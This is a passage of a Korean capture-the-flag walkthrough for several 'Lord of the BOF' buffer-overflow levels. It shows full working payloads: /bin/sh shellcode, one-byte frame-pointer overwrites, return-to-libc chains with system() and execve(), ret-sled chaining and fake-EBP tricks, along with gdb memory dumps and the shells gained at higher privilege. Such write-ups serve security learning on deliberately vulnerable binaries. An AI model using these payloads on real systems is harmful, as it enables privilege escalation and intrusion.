ret 수행후 esp를참조하여점프하게되면아직점프한곳엔실행할쉘코드를넣어놓지않았습니다. 근본적으론참조할 esp에정상적인주소가적혀있지않을겁니다. Segmentation fault신호를받게되죠. Segmentation fault받은후 ddrkknight은종료되어프로그램은실행하기전으로원래대로돌아가게됩니다. (gdb) nexti Program terminated with signal SIGSEGV, Segmentation fault. The program no longer exists. (gdb) q 따라서정상적인종료가아닌 Segmentation fault가되었습니다. 전체적인흐름을보았으면이제이원리를압축 (?) 합시다. problem_child 함수내부에서 leave명령중 pop ebp 부분에의해우리가 overflow시킨값 1byte가변경됩니다. 다시 main으로돌아와서 leave명령을수행하면 ebp의값은 esp로이동하게되고 esp는 pop ebp로인해 4만큼증가합니다. 이때다음명령인 ret명령이 esp에있는부분을 eip에참조한후리턴어드레스로쓰므로결국 50+4 인 0xbffffa54를 eip에참조하게됩니다. 따라서우리는 SFP 1byte변조하여 eip부분에참조하길원하는위치가예를들어 0xbffffa54인경우./darkknight $(python -c 'print "\x50"*41') 0xbffffa88인경우./darkknight $(python -c 'print "\x84"*41') 그렇다면참조하길원하는위치는어떤위치가좋을까요? 우리가자유롭게값을넣을수있는공간이어야합니다. 환경변수에리턴어드레스를넣을려면 1byte만가까스로변경가능했기때문에주소가좀먼곳에있을것같습니다. 대체어디를리턴어드레스를넣는공간으로써야될까요? 저는아까쓰였던 buffer 배열을쓰겠습니다. 가장가까운주소일것같군요. 1byte 를변경해서 buffer 배열을 esp 가가리키게만들수있습니다. buffer 배열의시작점이든끝점이든어디든리틀엔디언방식으로아무데나리턴어드레스를 4byte 를넣어서사용할수 있습니다. 그럼지금부터확인해보도록하죠. [golem@localhost golem]$ gdb -q ddrkknight (gdb) b *main+54 main함수의 ret 직전에 bp를걸었습니다. Breakpoint 1 at 0x80484a2 (gdb) r $(python -c 'print "\x50"*41') Starting program: /home/golem/ddrkknight $(python -c 'print "\x50"*41') PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP?? 9? 원? 옹 @ Breakpoint 1, 0x80484a2 in main () (gdb) info registers esp esp 0xbffffa54-1073743276 예상대로 50+4인 54로 esp가변경되었습니다. - 35 -
(gdb) x/120bx $esp 0xbffffa54: 0xf0 0x1d 0x02 0x40 0xc0 0x88 0x10 0x40 0xbffffa5c: 0x2c 0x98 0x02 0x40 0xf0 0x1d 0x02 0x40 0xbffffa64: 0x94 0xfa 0xff 0xbf 0x70 0xa9 0x00 0x40 0xbffffa6c: 0x62 0xfc 0xff 0xbf 0xcc 0xfa 0xff 0xbf 0xbffffa74: 0x20 0xd9 0x05 0x40 0xe0 0x43 0x01 0x40 0xbffffa7c: 0x94 0xfa 0xff 0xbf 0x70 0x60 0x06 0x40 0xbffffa84: 0x80 0x69 0x10 0x40 0x00 0x85 0x04 0x08 0xbffffa8c: 0xa4 0xfa 0xff 0xbf 0xec 0x81 0x10 0x40 0xbffffa94: 0xcc 0xfa 0xff 0xbf 0x66 0x84 0x04 0x08 0xbffffa9c: 0x00 0x85 0x04 0x08 0xa4 0xfa 0xff 0xbf 0xbffffaa4: 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0xbffffaac: 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0xbffffab4: 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0xbffffabc: 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0xbffffac4: 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0xbffffaa4-4 인 a0 으로 sfp 를변경한다면 ret 명령에의해 eip 에참조되는 esp 가 buffer 의시작부분인 0xbffffaa4 를 참조하게할수있겠네요. 그럼 buffer 시작부분엔 buffer 배열로의리턴주소를그다음부분에는적정량의 nop 를 sfp 전부분은쉘코드를넣는다면 공격은성공적일것입니다. 제가작성한페이로드는다음과같습니다. [ 리턴주소 4byte]+[nop 12byte]+[shellcode 24byte]+[sfp 1byte] 그런데 0xbffffa9c: 0x00 0x85 0x04 0x08 0xa4 0xfa 0xff 0xbf를보면이미 buffer배열의시작주소가존재하고있습니다. 이곳으로해보겠습니다. -페이로드 [ 리턴주소 4byte]( 앞에이미존재함 )+[nop 16byte]+[shellcode 24byte]+[sfp 1byte] 0xbffffa9c=0xbffffaa0-4 이므로 [golem@localhost golem]$./darkknight $(python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x6 8\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x9c"') 1?h//shh/bin?S? 것?#156;??? 왠? 옹 @ Segmentation fault 그런데세그폴이뜨네요. 사본파일에시도해서 core를살펴보겠습니다. [golem@localhost golem]$./ddrkknight $(python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x6 8\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x9c"') 1?h//shh/bin?S? 것?#156;??? 왠? 옹 @ Segmentation fault (core dumped) [golem@localhost golem]$ gdb -q ddrkknight core Core was generated by `./ddrkknight 1?h//shh/bin?S? 것?#156;'. - 36 -
Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x50e3896e in?? () (gdb) x/120bx 0xbffffa9c 0xbffffa9c: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50 0xbffffaa4: 0x53 0x89 0xe1 0x99 0xb0 0x0b 0xcd 0x80 0xbffffaac: 0x9c 0xfa 0xff 0xbf 0x9e 0x84 0x04 0x08 0xbffffab4: 0x1d 0xfc 0xff 0xbf 0xd8 0xfa 0xff 0xbf 0xbffffabc: 0xcb 0x09 0x03 0x40 0x02 0x00 0x00 0x00 0xbffffac4: 0x04 0xfb 0xff 0xbf 0x10 0xfb 0xff 0xbf 0xbffffacc: 0x68 0x38 0x01 0x40 0x02 0x00 0x00 0x00 0xbffffad4: 0x90 0x83 0x04 0x08 0x00 0x00 0x00 0x00 0xbffffadc: 0xb1 0x83 0x04 0x08 0x6c 0x84 0x04 0x08 0xbffffae4: 0x02 0x00 0x00 0x00 0x04 0xfb 0xff 0xbf 0xbffffaec: 0xe4 0x82 0x04 0x08 0xdc 0x84 0x04 0x08 0xbffffaf4: 0x60 0xae 0x00 0x40 0xfc 0xfa 0xff 0xbf 0xbffffafc: 0x90 0x3e 0x01 0x40 0x02 0x00 0x00 0x00 0xbffffb04: 0x10 0xfc 0xff 0xbf 0x1d 0xfc 0xff 0xbf 0xbffffb0c: 0x00 0x00 0x00 0x00 0x47 0xfc 0xff 0xbf (gdb) 계속해서살펴보아도.. 0xbffffb14: 0x57 0xfc 0xff 0xbf 0x70 0xfc 0xff 0xbf 0xbffffb1c: 0x8f 0xfc 0xff 0xbf 0xb1 0xfc 0xff 0xbf 0xbffffb24: 0xbc 0xfc 0xff 0xbf 0x7f 0xfe 0xff 0xbf 0xbffffb2c: 0x9e 0xfe 0xff 0xbf 0xb9 0xfe 0xff 0xbf 0xbffffb34: 0xce 0xfe 0xff 0xbf 0xeb 0xfe 0xff 0xbf 0xbffffb3c: 0xf6 0xfe 0xff 0xbf 0x0e 0xff 0xff 0xbf 0xbffffb44: 0x1c 0xff 0xff 0xbf 0x24 0xff 0xff 0xbf 0xbffffb4c: 0x35 0xff 0xff 0xbf 0x3f 0xff 0xff 0xbf 0xbffffb54: 0x4d 0xff 0xff 0xbf 0x5e 0xff 0xff 0xbf 0xbffffb5c: 0x6c 0xff 0xff 0xbf 0x77 0xff 0xff 0xbf 0xbffffb64: 0x88 0xff 0xff 0xbf 0xc9 0xff 0xff 0xbf 0xbffffb6c: 0xd8 0xff 0xff 0xbf 0x00 0x00 0x00 0x00 0xbffffb74: 0x03 0x00 0x00 0x00 0x34 0x80 0x04 0x08 0xbffffb7c: 0x04 0x00 0x00 0x00 0x20 0x00 0x00 0x00 0xbffffb84: 0x05 0x00 0x00 0x00 0x06 0x00 0x00 0x00 아무리살펴봐도없습니다. gdb에서보여주는메모리는실제주소와어느정도차이가있다고하네요. (gdb) info registers esp esp 0xbffffaa4-1073743196 결국 esp를살펴보고 (gdb) x/120bx $esp-120 거기서 esp에서적당히뺀부분을보면 0xbffffa2c: 0x04 0xfb 0xff 0xbf 0xe0 0x43 0x01 0x40 0xbffffa34: 0xf0 0x1d 0x02 0x40 0xc0 0x88 0x10 0x40 0xbffffa3c: 0x2c 0x98 0x02 0x40 0xf0 0x1d 0x02 0x40 0xbffffa44: 0x74 0xfa 0xff 0xbf 0x70 0xa9 0x00 0x40-37 -
0xbffffa4c: 0x46 0xfc 0xff 0xbf 0xac 0xfa 0xff 0xbf 0xbffffa54: 0x20 0xd9 0x05 0x40 0xe0 0x43 0x01 0x40 0xbffffa5c: 0x74 0xfa 0xff 0xbf 0x70 0x60 0x06 0x40 0xbffffa64: 0x80 0x69 0x10 0x40 0x00 0x85 0x04 0x08 0xbffffa6c: 0x84 0xfa 0xff 0xbf 0xec 0x81 0x10 0x40 0xbffffa74: 0xac 0xfa 0xff 0xbf 0x66 0x84 0x04 0x08 0xbffffa7c: 0x00 0x85 0x04 0x08 0x84 0xfa 0xff 0xbf 아까넣은 nop가보입니다! 이걸토대로다시공격을시도해보겠습니다. 7c를넣는다면 esp는 main의 leave작업으로인해 4만큼증가하여 0xbffffa80이되고그곳엔 0x84 0xfa 0xff 0xbf가존재하므로 [golem@localhost golem]$./ddrkknight $(python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x6 8\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x7c"') 1?h//shh/bin?S? 것???? 왠? 옹 @ bash$ exit exit 성공적입니다. 이제원본에시도해봅시다. [golem@localhost golem]$./darkknight $(python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x6 8\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x7c"') 1?h//shh/bin?S? bash$ whoami darkknight bash$ id???? 왠? 옹 @ uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem) bash$ my-pass euid = 512 new attacker bash$ exit exit 0x0d darkknight [darkknight@localhost darkknight]$ cat bugbear.c /* */ The Lord of the BOF : The Fellowship of the BOF - bugbear - RTL1 #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) - 38 -
char buffer[40]; int i; if(argc < 2) printf("argv error\n"); if(argv[1][47] == '\xbf') printf("stack betrayed you!!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); ret에 0xbf대역을줄수없으므로스택영역은사용이불가능합니다. Return into Libc를사용해야합니다. RTL관련문서는구글에 (rtl site:hackerschool.org filetype:txt) 검색하시면많이있습니다. [darkknight@localhost darkknight]$ cp bugbear dlfmaanjffhgkwl [darkknight@localhost darkknight]$ gdb q dlfmaanjffhgkwl system함수를이용해서풀겠습니다. (gdb) b main Breakpoint 1 at 0x8048436 (gdb) r Starting program: /home/darkknight/dlfmaanjffhgkwl system() 의주소는자신권한의아무파일이나만들어서실행후 print 해서보시면됩니다. Breakpoint 1, 0x8048436 in main () (gdb) p system $1 = <text variable, no debug info> 0x40058ae0 < libc_system> (gdb) q The program is running. Exit anyway? (y or n) y 이제 /bin/sh 인자로쓰일문자열을찾아봅시다. [darkknight@localhost darkknight]$ vi search.c #include<stdio.h> #include<stdlib.h> main char *system=0x40058ae0; while(strncmp(system,"/bin/sh",7)) system++; printf("%s is at %#x\n",system,system); [darkknight@localhost darkknight]$ gcc search search.c [darkknight@localhost darkknight]$./search /bin/sh is at 0x400fbff9 system함수인자는 ret+8부터입니다. 그사이의 4byte는 garbage나실행할마친후리턴될주소를넣으세요. -페이로드 - 39 -
[nop 44]+[system() addr 4]+[garbage 4]+[/bin/sh addr 4] [darkknight@localhost darkknight]$./bugbear $(python -c 'print "\x90"*44+"\xe0\x8a\x05\x40"+"aaaa"+"\xf 9\xbf\x0f\x40"')?@AAAA 廈 @ bash$ whoami bugbear bash$ id uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight) bash$ my-pass euid = 513 new divide bash$ exit exit Segmentation fault 0x0e bugbear [bugbear@localhost bugbear]$ cat giant.c /* The Lord of the BOF : The Fellowship of the BOF - giant - RTL2 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char *argv[]) char buffer[40]; FILE *fp; char *lib_addr, *execve_offset, *execve_addr; char *ret; if(argc < 2) printf("argv error\n"); // gain address of execve fp = popen("/usr/bin/ldd /home/giant/assassin /bin/grep libc /bin/awk 'print $4'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "(%x)", &lib_addr); fclose(fp); fp = popen("/usr/bin/nm /lib/libc.so.6 /bin/grep execve /bin/awk 'print $1'", "r"); fgets(buffer, 255, fp); - 40 -
sscanf(buffer, "%x", &execve_offset); fclose(fp); execve_addr = lib_addr + (int)execve_offset; // end memcpy(&ret, &(argv[1][44]), 4); if(ret!= execve_addr) printf("you must use execve!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); argv[1][44] 의 ret가 execve의주소와같아야합니다. 즉 execve() 를이용한 RTL을하라는문제네요. [bugbear@localhost bugbear]$ cp giant execv [bugbear@localhost bugbear]$ gdb -q execv (gdb) b main Breakpoint 1 at 0x8048566 (gdb) r Starting program: /home/bugbear/execv 저번과같이이번엔 execve() 의주소를찾아봅시다. Breakpoint 1, 0x8048566 in main () (gdb) p execve $1 = <text variable, no debug info> 0x400a9d48 < execve> (gdb) p exit $2 = void (int) 0x400391e0 <exit> (gdb) q The program is running. Exit anyway? (y or n) y exit의주소도구해봤습니다. 사실이문제는지난번의원리를이용하면간단하게풀수있습니다. [execve() addr]+[system() addr]+[exit () addr]+[/bin/sh addr] execve가호출된후리턴되는부분에 system을넣어주고다음 4바이트는 exit, 다음은 /bin/sh를넣었습니다. [bugbear@localhost bugbear]$./giant "$(python -c 'print "\x90"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40" +"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"') 이번엔 0x0a가 0x00으로올라가기때문에스크립트앞뒤에 (double quotation) 을붙여야합니다. H @?@?ꠗ@ 廈 @ bash$ id;exit uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear) exit 마지막엔 exit가호출되기때문에 Segmentation fault가이번엔없습니다. 이렇듯연속으로호출되는원리를이용하면이런문제도쉽게풀어나갈수있습니다. system() 부분에 nop와 shellcode가있는주소를넣어서풀수도있습니다. - 41 -
이제정석 (?) 대로풀어봅시다 execve("/bin/sh", ["/bin/sh", NULL], [NULL]); execve 함수는각각인자로 /bin/sh의주소, /bin/sh의주소와널이있는공간, 널의주소를필요로합니다. 실행예제 ) main() int *a[2]; a[0]="/bin/sh"; a[1]=0; execve(a[0],a,a[1]); skeleton때의기억을되살려서 argv[0] 의쌍둥이 (?) 가스택끝자락에남은것을기억해봅시다. [bugbear@localhost bugbear]$ cp giant.c uiant.c [bugbear@localhost bugbear]$ vi uiant.c ( 권한문제로 fpopen문에서 /usr/bin/ldd /home/giant/assassin을 /usr/bin/ldd /home/bugbear/giant로변경 ) [bugbear@localhost bugbear]$ gcc -o uiant uiant.c [bugbear@localhost bugbear]$./uiant "$(python -c 'print "\x90"*44+"\x48\x9d\x0a\x40"+"aaaa"+"\xff\xff\xf f\xbf"+"\xff\xff\xff\xbf"+"\xff\xff\xff\xbf"')" H @AAAA?? Segmentation fault (core dumped) 이제 core 덤프를확인해보겠습니다. [bugbear@localhost bugbear]$ gdb -q uiant core Core was generated by `./uiant H @AAAA???. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x41414141 in?? () (gdb) x/64bx 0xbfffffc0 0xbfffffc0: 0x68 0x6f 0x6d 0x65 0x2f 0x62 0x75 0x67 0xbfffffc8: 0x62 0x65 0x61 0x72 0x2f 0x62 0x69 0x6e 0xbfffffd0: 0x00 0x5f 0x3d 0x2e 0x2f 0x75 0x69 0x61 0xbfffffd8: 0x6e 0x74 0x00 0x4f 0x4c 0x44 0x50 0x57 0xbfffffe0: 0x44 0x3d 0x2f 0x68 0x6f 0x6d 0x65 0x2f 0xbfffffe8: 0x62 0x75 0x67 0x62 0x65 0x61 0x72 0x2f 0xbffffff0: 0x74 0x6d 0x70 0x00 0x2e 0x2f 0x75 0x69 0xbffffff8: 0x61 0x6e 0x74 0x00 0x00 0x00 0x00 0x00 (gdb) x/5s 0xbfffffc0 0xbfffffc0: "home/bugbear/bin" 0xbfffffd1: "_=./uiant" 0xbfffffdb: "OLDPWD=/home/bugbear/tmp" 0xbffffff4: "./uiant" 0xbffffffc: " 0xbffffff4가파일명, 0xbffffffc에널이있음을확인하였습니다. /bin/sh의주소인 0x400fbff9을파일명이넣어놓는다면앞의실행예제와같은환경을만들수있습니다. - 42 -
버퍼배열이나 argv등원하는값을넣어줄수있고도중에널이있는공간이면같은환경을만들수있습니다. [bugbear@localhost bugbear]$ ln -s uiant $(printf "\xf9\xbf\x0f\x40") /bin/sh가있는곳을심볼릭링크로만들었습니다. [bugbear@localhost bugbear]$./$(printf "\xf9\xbf\x0f\x40") "$(python -c 'print "\x90"*44+"\x4\\x9d\x0a\x4 0"+"AAAA"+"\xf9\xbf\x0f\x40"+"\xff\xff\xff\xbf"+"\xff\xff\xff\xbf"')" H @AAAA 廈 @? Segmentation fault (core dumped) [bugbear@localhost bugbear]$ gdb -q $(printf "\xf9\xbf\x0f\x40") core Core was generated by `./ 廈 @ H @AAAA 廈 @??. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x41414141 in?? () (gdb) x/5s 0xbfffffc0 0xbfffffc0: ":/home/bugbear/bin" 0xbfffffd3: "_=./ 廈 \017@" 0xbfffffdc: "OLDPWD=/home/bugbear/tmp" 0xbffffff5: "./ 廈 \017@" 0xbffffffc: "" (gdb) x/10bx 0xbffffff7 0xbffffff7: 0xf9 0xbf 0x0f 0x40 0x00 0x00 0x00 0x00 0xbfffffff: 0x00 Cannot access memory at address 0xc0000000 이것으로 /bin/sh주소와널이존재하는포인터배열이완성되었습니다. -페이로드 [./+/bin/sh addr]+[ ]+[nop 44]+[execve() addr]+[exit() addr]+[/bin/sh addr]+[&/bin/sh+null addr]+[null addr] addr은각각 4byte입니다. [bugbear@localhost bugbear]$ ln -sf giant $(printf "\xf9\xbf\x0f\x40") 바로원본에다시링크걸고공격하겠습니다. [bugbear@localhost bugbear]$./$(printf "\xf9\xbf\x0f\x40") "$(python -c 'print "\x90"*44+"\x48\x9d\x0a\x4 0"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"')" H @?ꠗ@ 廈 @? 웠 bash$ whoami giant bash$ id uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear) bash$ my-pass euid = 514 one step closer bash$ exit exit 0x0f giant [giant@localhost giant]$ cat assassin.c - 43 -
/* */ The Lord of the BOF : The Fellowship of the BOF - assassin - no stack, no RTL #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; if(argc < 2) printf("argv error\n"); if(argv[1][47] == '\xbf') printf("stack retbayed you!\n"); if(argv[1][47] == '\x40') printf("library retbayed you, too!!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer+sfp hunter memset(buffer, 0, 44); 스택사용불가, 라이브러리사용불가입니다. bugbear.c의 printf문은 betrayed( 배신 ) 이라써져있는데여긴 retbayed라되있는걸보면오타인것같습니다. [giant@localhost giant]$ cp assassin bssbssin [giant@localhost giant]$ gdb -q bssbssin (gdb) disas main Dump of assembler code for function main: 0x8048470 <main>: push %ebp 0x8048471 <main+1>: mov %esp,%ebp 0x8048473 <main+3>: sub $0x28,%esp 0x8048476 <main+6>: cmpl $0x1,0x8(%ebp) - 44 -
0x804847a <main+10>: jg 0x8048493 <main+35> 0x804847c <main+12>: push $0x8048570 0x8048481 <main+17>: call 0x8048378 <printf> 0x8048486 <main+22>: add $0x4,%esp 0x8048489 <main+25>: push $0x0 0x804848b <main+27>: call 0x8048388 <exit> 0x8048490 <main+32>: add $0x4,%esp 0x8048493 <main+35>: mov 0xc(%ebp),%eax 0x8048496 <main+38>: add $0x4,%eax 0x8048499 <main+41>: mov (%eax),%edx 0x804849b <main+43>: add $0x2f,%edx 0x804849e <main+46>: cmpb $0xbf,(%edx) 0x80484a1 <main+49>: jne 0x80484c0 <main+80> 0x80484a3 <main+51>: push $0x804857c 0x80484a8 <main+56>: call 0x8048378 <printf> 0x80484ad <main+61>: add $0x4,%esp 0x80484b0 <main+64>: push $0x0 0x80484b2 <main+66>: call 0x8048388 <exit> 0x80484b7 <main+71>: add $0x4,%esp 0x80484ba <main+74>: lea 0x0(%esi),%esi 0x80484c0 <main+80>: mov 0xc(%ebp),%eax 0x80484c3 <main+83>: add $0x4,%eax 0x80484c6 <main+86>: mov (%eax),%edx 0x80484c8 <main+88>: add $0x2f,%edx 0x80484cb <main+91>: cmpb $0x40,(%edx) 0x80484ce <main+94>: jne 0x80484e7 <main+119> 0x80484d0 <main+96>: push $0x8048591 0x80484d5 <main+101>: call 0x8048378 <printf> 0x80484da <main+106>: add $0x4,%esp 0x80484dd <main+109>: push $0x0 ---Type <return> to continue, or q <return> to quit--- 0x80484df <main+111>: call 0x8048388 <exit> 0x80484e4 <main+116>: add $0x4,%esp 0x80484e7 <main+119>: mov 0xc(%ebp),%eax 0x80484ea <main+122>: add $0x4,%eax 0x80484ed <main+125>: mov (%eax),%edx 0x80484ef <main+127>: push %edx 0x80484f0 <main+128>: lea 0xffffffd8(%ebp),%eax 0x80484f3 <main+131>: push %eax 0x80484f4 <main+132>: call 0x80483a8 <strcpy> 0x80484f9 <main+137>: add $0x8,%esp 0x80484fc <main+140>: lea 0xffffffd8(%ebp),%eax 0x80484ff <main+143>: push %eax 0x8048500 <main+144>: push $0x80485ae 0x8048505 <main+149>: call 0x8048378 <printf> 0x804850a <main+154>: add $0x8,%esp - 45 -
0x804850d <main+157>: push $0x2c 0x804850f <main+159>: push $0x0 0x8048511 <main+161>: lea 0xffffffd8(%ebp),%eax 0x8048514 <main+164>: push %eax 0x8048515 <main+165>: call 0x8048398 <memset> 0x804851a <main+170>: add $0xc,%esp 0x804851d <main+173>: leave 0x804851e <main+174>: ret 0x804851f <main+175>: nop End of assembler dump. (gdb) b *main+174 Breakpoint 1 at 0x804851e (gdb) r $(python -c 'print "\x1e\x85\x04\x08"*12') Starting program: /home/giant/bssbssin $(python -c 'print "\x1e\x85\x04\x08"*12') ꠙ ret에 bp걸고리턴어드레스를 ret 부분에놓아줬습니다. Breakpoint 1, 0x804851e in main () (gdb) info reg ebp esp eip ebp 0x0 0 esp 0xbffffb2c -1073743060 eip 0x804851e 134513950 (gdb) nexti 0x804851e in main () (gdb) info reg ebp esp eip ebp 0x0 0 esp 0xbffffb30-1073743056 eip 0x804851e 134513950 이와같이 ret이한번수행되면 pop eip로인해 esp 4만큼증가하게됩니다. 그러므로다시한번리턴어드레스부분에 ret instruction의주소인 0x804851e를줘서 ret를호출하면 esp가 4byte 증가하였기때문에리턴주소에서 4byte 이후에존재하는주소를 eip로쓸수있습니다. -페이로드 [ret instruction addr 12]+[system()addr 4]+[exit() addr 4]+[/bin/sh addr 4] [giant@localhost giant]$ cp assassin bssbssin 사본을만들어그대로시도해보겠습니다. [giant@localhost giant]$ gdb -q bssbssin (gdb) b *main+173 Breakpoint 1 at 0x804851d (gdb) r $(python -c 'print "\x1e\x85\x04\x08"*12+"\xe0\x8a\x05\x40\xe0\x91\x03\x40\xf9\xbf\x0f\x40"') Starting program: /home/giant/bssbssin $(python -c 'print "\x1e\x85\x04\x08"*12+"\xe0\x8a\x05\x40\xe0 \x91\x03\x40\xf9\xbf\x0f\x40"')?@?ꠗ@ 廈 @ Breakpoint 1, 0x804851d in main () (gdb) info reg ebp esp eip ebp 0xbffffb18-1073743080 esp 0xbffffaf0-1073743120 - 46 -
eip 0x804851d 134513949 (gdb) nexti 0x804851e in main () (gdb) info reg ebp esp eip ebp 0x0 0 esp 0xbffffb1c -1073743076 eip 0x804851e 134513950 (gdb) nexti 0x804851e in main () (gdb) info reg ebp esp eip ebp 0x0 0 esp 0xbffffb20-1073743072 eip 0x804851e 134513950 (gdb) nexti bash$ shell? sh: shell?: command not found bash$ ps PID TTY TIME CMD 6303 pts/1 00:00:00 bash 6367 pts/1 00:00:00 gdb 6368 pts/1 00:00:00 bssbssin 6370 pts/1 00:00:00 sh 6372 pts/1 00:00:00 ps bash$ exit exit 이와같이 gdb 내부에서도쉘이실행됩니다. :) Program exited normally. (gdb) q 이번엔그동안배운걸응용해서끝낼재미있게 (?) 끝내보죠 [giant@localhost giant]$./assassin $(python -c 'print "\x1e\x85\x04\x08"*1200+"\xe0\x8a\x05\x40"*2+"\xf9 \xbf\x0f\x40"*2') - ====== 중 = 간 == 생 = 략 ======?@?@ 廈 @ 廈 @ bash$ whoami;id;exit assassin uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant) exit 이런 my-pass를깜빡하고나가버렸습니다ㅠ. ㅠ bash$ my-pass;exit euid = 515 pushing me away exit = 사실다시 system(/bin/sh) 호출 ;D Segmentation fault 대신 exit() 를넣을수없기때문에세그폴을면할순없습니다. :p - 47 -
0x10 assassin [assassin@localhost assassin]$ bash2 [assassin@localhost assassin]$ cat zombie_assassin.c /* The Lord of the BOF : The Fellowship of the BOF - zombie_assassin - FEBP */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; if(argc < 2) printf("argv error\n"); if(argv[1][47] == '\xbf') printf("stack retbayed you!\n"); if(argv[1][47] == '\x40') printf("library retbayed you, too!!\n"); // strncpy instead of strcpy! strncpy(buffer, argv[1], 48); printf("%s\n", buffer); strncpy함수로 buffer배열에복사되는길이를 48로제한하고있습니다. 위에주석처럼 Fake_EBP를써서풀어야합니다. [assassin@localhost assassin]$ export shellcode="$(python -c 'print "\x90"*150+"\x31\xc0\x50\x68\x2f\x2f \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') 풀이에서환경변수를이용해본적이없으니이참에한번써봐야겠습니다. [assassin@localhost assassin]$ vi getenv.c [assassin@localhost assassin]$ gcc -o getenv getenv.c getenv.c의내용은 main(int argc, char *argv[]) printf( %#x\n,getenv(argv[1])); 입니다. - 48 -
이걸로대강환경변수주소를구할수있습니다. ( 오차는 nop가알아서 ) [assassin@localhost assassin]$./getenv shellcode 0xbffffed6 fake ebp 관련문서는역시구글에검색 ( fake_ebp site:hackerschool.org filetype:txt ) 하면많이나옵니다. -페이로드 [ret addr 4]+[nop 36]+[fake_ebp 4]+[leave instruction 4] 원리는간단하게설명하겠습니다. leave instruction에의해 pop ebp가수행될때 sfp에있던값이 ebp로들어가고 pop eip로인해 ret에넣어줬던 leave instruction의주소가 eip로들어가다시 leave 명령이실행되는데이때 ebp엔 전에넣어준 ebp 가있어서그 ebp를 esp로옮기고 pop ebp를수행하게되면 4가증가된 esp가남습니다. 다시 ret 에의해 esp에있는값을참조하여리턴됩니다. 그러므로 sfp+4를한값이리턴할주소입니다. [assassin@localhost assassin]$ cp zombie_assassin kombie_assassin [assassin@localhost assassin]$./kombie_assassin $(python -c 'print "\xd6\xfe\xff\xbf"+"\x90"*36+"\xef\xbe \xad\xde"+"leave"') 蓼? 絶?eavꠓ Segmentation fault (core dumped) 0xbffffed6이들어있는버퍼의주소를구해야합니다. [assassin@localhost assassin]$ ls core getenv getenv.c kombie_assassin zombie_assassin zombie_assassin.c [assassin@localhost assassin]$ rm -f core [assassin@localhost assassin]$ gdb -q zombie_assassin (gdb) disas main Dump of assembler code for function main: 0x8048440 <main>: push %ebp 0x8048441 <main+1>: mov %esp,%ebp 0x8048443 <main+3>: sub $0x28,%esp 0x8048446 <main+6>: cmpl $0x1,0x8(%ebp) 0x804844a <main+10>: jg 0x8048463 <main+35> 0x804844c <main+12>: push $0x8048540 0x8048451 <main+17>: call 0x8048354 <printf> 0x8048456 <main+22>: add $0x4,%esp 0x8048459 <main+25>: push $0x0 0x804845b <main+27>: call 0x8048364 <exit> 0x8048460 <main+32>: add $0x4,%esp 0x8048463 <main+35>: mov 0xc(%ebp),%eax 0x8048466 <main+38>: add $0x4,%eax 0x8048469 <main+41>: mov (%eax),%edx 0x804846b <main+43>: add $0x2f,%edx 0x804846e <main+46>: cmpb $0xbf,(%edx) 0x8048471 <main+49>: jne 0x8048490 <main+80> 0x8048473 <main+51>: push $0x804854c 0x8048478 <main+56>: call 0x8048354 <printf> 0x804847d <main+61>: add $0x4,%esp 0x8048480 <main+64>: push $0x0 0x8048482 <main+66>: call 0x8048364 <exit> 0x8048487 <main+71>: add $0x4,%esp - 49 -
